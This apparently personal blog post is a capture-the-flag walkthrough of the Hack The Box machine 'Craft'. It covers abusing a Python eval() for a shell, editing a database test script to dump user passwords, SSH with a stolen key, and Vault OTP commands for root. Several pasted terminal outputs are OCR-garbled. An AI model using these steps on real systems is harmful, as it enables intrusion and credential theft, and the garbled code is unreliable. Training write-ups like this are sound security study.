Python has a built-in eval() function. The eval() function is used to evaluate the specified expression. If the expression is a correct Python statement, it will be executed. This can be very dangerous if used incorrectly by a web developer.

Image from https://docs.python.org/3/library/functions.html#eval

In Craft from HTB, initial access is leveraged through the use of this function. Let's take a look:

1) Initial enumeration provides us with a hostname of craft.htb (add to /etc/hosts file) and listening services. We are interesting in the web server for initial access.

2) https://craft.htb does not get us anywhere so we continue with enumeration on subdomains and possibly directories. We are able to identity two, gogs and api. Let's see how these two tie together. (spoiler alert gogs -> creds -> api usage).

WFUZZ subdomains. 

3) For real world git, there are many tools you can use to do this. Since this is a CTF, we can leverage something like gitrob for example. Perform some manual enumeration and check out the commits and determine where to manually start  looking.

Juicy test script?

4) Once we take a look at that specific commit, we identify some credentials.

5) With the credentials identified above, we can log in as Dinesh.

6) Further enumeration and you should have seen  the discussions in  the "issue". I'm going to skip some of the details and skip to the good part, abusing their eval() function implementation.

7) Long story short, Dinesh's "fix" was no bueno. :). His eval function used in brew.py can be abused using the API (and credentials we already have).

eval() function on brew.py 

8) Below is the code used to get a reverse shell. It's pretty simple. We import the os module and execute some bash.

Using test.py (where we found creds) to exploit their web server. 

9) This shell lands us in a docker container. To get to docker to the gilfoyle user, you perform some enumeration, find dbtest.py and some settings.py. Once you figure out what this can do for you, you dump all the users by modifying the SQL query being used. dbtest.py is the one given to you by  the server. Since we can write to this script, I simply changed query being used. #GiveMeAllTheUsers

sql = "SELECT * from `user`"
/opt/app # cat 
#!/usr/bin/env 
import pymysql 
from craft api 
# test connection to mysql database 
connection = .MYSQL DATABASE HOST, 
user-settings .MYSQL DATABASE USER, 
password-settings .MYSQL DATABASE PASSWORD, 
db-settings .MYSQL DATABASE DB, 
cursorclass=pymysql . cursors . DictCursor) 
' username': 'ebachman' , 
dbtest.py 
python 
import settings 
try : 
with connection. cursor() as cursor: 
sql - "SELECT Aid , 
brewer' , 
name , 
cursor. execute(sql) 
result = cursor. fetchone() 
print( result) 
finally: 
connection.close()/opt/app # cat dbtest2.py 
#!/usr/bin/env python 
import pymysql 
from craft api import settings 
# test connection to mysql database 
abv• 
FROM 
brew' 
LIMIT 1" 
connection = .MYSQL DATABASE HOST, 
user-settings .MYSQL DATABASE USER, 
password-settings .MYSQL DATABASE PASSWORD, 
db-settings .MYSQL DATABASE DB, 
cursorclass=pymysql . cursors . DictCursor) 
try : 
with connection. cursor() as cursor: 
sql "SELECT * FROM 'user' " 
cursor. execute(sql) 
result = cursor. fetchall() 
print( result) 
finally: 
connection.close()/opt/app # python2 dbtest2.py 
Netca 
.(tern. 
/bin/sh: python2: not found 
/opt/app # python dbtest2.py 
'username': 'dinesh' , 
/opt/app # 
' password' : 
' 4alJh0A8PbVJxgd 
4, 
' password' : 
' UJ77D8QFkLPQB 
' {lid'. 5, 
' username' : 
'gilfoyle' , 
' password' : 
' ZEU3N8WNM2rh4T'
dbtest2.py is the one I modified. 

10) Once we log into gogs as gilfoyle, we find his private ssh key and can ssh  into the machine with the -i flag.

ssh  -i private_id_rsa gilfoyle@craft.htb

11) Gilfoyle to root was a bit new for me. Awesome experience. Long story short, there is this "vault" application running on the server. Here is a great article on understand  the next  steps. https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html.

vault secret list will give you the list of all running "vaults".

Gilfoyles "craft-infra" has tons of loot. There is a secret.sh script that gives you the exact command you will need to root the machine.

Key 
lease 
lease 
lease 
key 
id 
duration 
renewable 
key_type 
port 
username 
vault write ssh/creds/root otp ip=10.10.14.48 
Value 
ssh/creds/root otp/3aae7b6c-3643-6c46-76ec-97fe382600be 
768h 
false 
10.10. 14.48 
9bcb19e8-1269-2a77-71a6-317eee05b6a2 
otp 
22 
root
Step 1) Make the OTP
vault ssh -role root otp -mode otp root@127.O.O.1 
Vault could not locate "sshpass". The OTP code for the session is 
displayed 
below. Enter this code in the SSH password prompt. If you install 
sshpass, 
Vault can automatically perform this step for you. 
OTP for the session is: 69f9df73-6684-6341-3a22-3c982c940d72 
1/11 
Password: 
Linux craft.htb 4.9.o-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86 64 
The programs included with the Debian GNU/Linux system are free software; 
the exact distribution terms for each program are described in the 
individual files in /usr/share/doc/*/copyright. 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 
permitted by applicable law. 
Last login: wed Jul 17 2019 
root@craft:—#
Step 2) Root dance

I hope you enjoyed this post. Until next time!